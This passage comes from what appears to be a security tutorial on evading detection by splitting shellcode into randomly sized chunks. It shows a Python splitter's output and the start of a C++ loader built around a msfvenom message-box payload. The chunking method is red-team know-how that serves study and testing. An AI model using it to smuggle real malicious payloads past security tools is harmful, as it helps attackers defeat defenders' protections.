</code></pre></div></div>

<p><strong>I’m randomizing the shellcode chunks between 3 and 15 bytes.  You should get something like this:</strong></p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">C:</span><span class="err">\</span><span class="n">Users</span><span class="err">\</span><span class="n">robbi</span><span class="err">\</span><span class="n">shellcode_code</span><span class="o">&gt;</span><span class="n">py</span> <span class="n">sshellcode_splitter</span><span class="p">.</span><span class="n">py</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode1</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xfc</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x81</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode2</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xe4</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0xcc</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x41</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode3</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xd2</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span><span class="mh">0x48</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode4</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x0f</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode5</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0xac</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode6</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x61</span><span class="p">,</span><span class="mh">0x7c</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode7</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x2c</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe2</span><span class="p">,</span><span class="mh">0xed</span><span class="p">,</span><span class="mh">0x52</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode8</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x42</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode9</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x81</span><span class="p">,</span><span class="mh">0x78</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode10</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x0f</span><span class="p">,</span><span class="mh">0x85</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x80</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode11</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x85</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode12</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xe3</span><span class="p">,</span><span class="mh">0x56</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode13</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode14</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x34</span><span class="p">,</span><span class="mh">0x88</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode15</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode16</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0x38</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x75</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode17</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xf1</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x03</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x08</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode18</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x45</span><span class="p">,</span><span class="mh">0x39</span><span class="p">,</span><span class="mh">0xd1</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode19</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x0c</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode20</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x1c</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode21</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x48</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode22</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x5e</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode23</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x59</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode24</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x12</span><span class="p">,</span><span class="mh">0xe9</span><span class="p">,</span><span class="mh">0x4b</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode25</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0x5d</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x72</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode26</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x32</span><span class="p">,</span><span class="mh">0x2e</span><span class="p">,</span><span class="mh">0x64</span><span class="p">,</span><span class="mh">0x6c</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode27</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x6c</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x59</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode28</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x77</span><span class="p">,</span><span class="mh">0x26</span><span class="p">,</span><span class="mh">0x07</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0xc7</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode29</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0a</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode30</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x79</span><span class="p">,</span><span class="mh">0x73</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode31</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x6d</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0a</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x79</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode32</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x6d</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x45</span><span class="p">,</span><span class="mh">0x83</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode33</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x07</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="mh">0xb5</span><span class="p">,</span><span class="mh">0xa2</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">};</span>

<span class="c1">// Array of shellcode pointers</span>
<span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">shellcodeChunks</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="n">shellcode1</span><span class="p">,</span> <span class="n">shellcode2</span><span class="p">,</span> <span class="n">shellcode3</span><span class="p">,</span> <span class="n">shellcode4</span><span class="p">,</span> <span class="n">shellcode5</span><span class="p">,</span> <span class="n">shellcode6</span><span class="p">,</span> <span class="n">shellcode7</span><span class="p">,</span> <span class="n">shellcode8</span><span class="p">,</span> <span class="n">shellcode9</span><span class="p">,</span> <span class="n">shellcode10</span><span class="p">,</span> <span class="n">shellcode11</span><span class="p">,</span> <span class="n">shellcode12</span><span class="p">,</span> <span class="n">shellcode13</span><span class="p">,</span> <span class="n">shellcode14</span><span class="p">,</span> <span class="n">shellcode15</span><span class="p">,</span> <span class="n">shellcode16</span><span class="p">,</span> <span class="n">shellcode17</span><span class="p">,</span> <span class="n">shellcode18</span><span class="p">,</span> <span class="n">shellcode19</span><span class="p">,</span> <span class="n">shellcode20</span><span class="p">,</span> <span class="n">shellcode21</span><span class="p">,</span> <span class="n">shellcode22</span><span class="p">,</span> <span class="n">shellcode23</span><span class="p">,</span> <span class="n">shellcode24</span><span class="p">,</span> <span class="n">shellcode25</span><span class="p">,</span> <span class="n">shellcode26</span><span class="p">,</span> <span class="n">shellcode27</span><span class="p">,</span> <span class="n">shellcode28</span><span class="p">,</span> <span class="n">shellcode29</span><span class="p">,</span> <span class="n">shellcode30</span><span class="p">,</span> <span class="n">shellcode31</span><span class="p">,</span> <span class="n">shellcode32</span><span class="p">,</span> <span class="n">shellcode33</span><span class="p">};</span>

<span class="c1">// Array of shellcode sizes</span>
<span class="n">SIZE_T</span> <span class="n">shellcodeSizes</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode1</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode2</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode3</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode4</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode5</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode6</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode7</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode8</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode9</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode10</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode11</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode12</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode13</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode14</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode15</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode16</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode17</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode18</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode19</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode20</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode21</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode22</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode23</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode24</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode25</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode26</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode27</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode28</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode29</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode30</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode31</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode32</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode33</span><span class="p">)};</span>
</code></pre></div></div>

<p>Go ahead and copy that outputted code into Notepad or something.  This takes care of Part 1 of our code.  You could accomplish the randomized shellcode chunks using C/C++ if you like, but I like to pull in Python when I can as I find it simplifies matters considerably. 😺 On to Part 2!</p>

<h2 id="introducing-randomness-delay-and-memory-allocation-for-shellcode-chunks">Introducing Randomness, Delay, and Memory Allocation for Shellcode Chunks</h2>

<p>Okay!  Let’s go ahead and setup our main C++ code sections.  For section one, all we need to do is add in our previously python-generated code, like so:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;time.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;chrono&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;thread&gt;</span><span class="cp">
</span>
<span class="c1">//python generated code below!</span>
<span class="c1">//=====================================================================================================</span>
<span class="c1">// MessageBox shellcode generated with:</span>
<span class="c1">// msfvenom -p windows/x64/messagebox TEXT="g3tsyst3m" TITLE="g3tsyst3m" ICON=INFORMATION -f python</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode1</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xfc</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x81</span><span class="p">,</span><span class="mh">0xe4</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="mh">0xff</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode2</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0xcc</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x41</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode3</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x51</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xd2</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x48</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode4</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x18</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode5</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode6</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x20</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode7</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x0f</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x72</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode8</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x3c</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode9</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x61</span><span class="p">,</span><span class="mh">0x7c</span><span class="p">,</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x2c</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe2</span><span class="p">,</span><span class="mh">0xed</span><span class="p">,</span><span class="mh">0x52</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode10</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x42</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x51</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode11</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x81</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode12</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x78</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x0f</span><span class="p">,</span><span class="mh">0x85</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span> <span class="p">};</span>
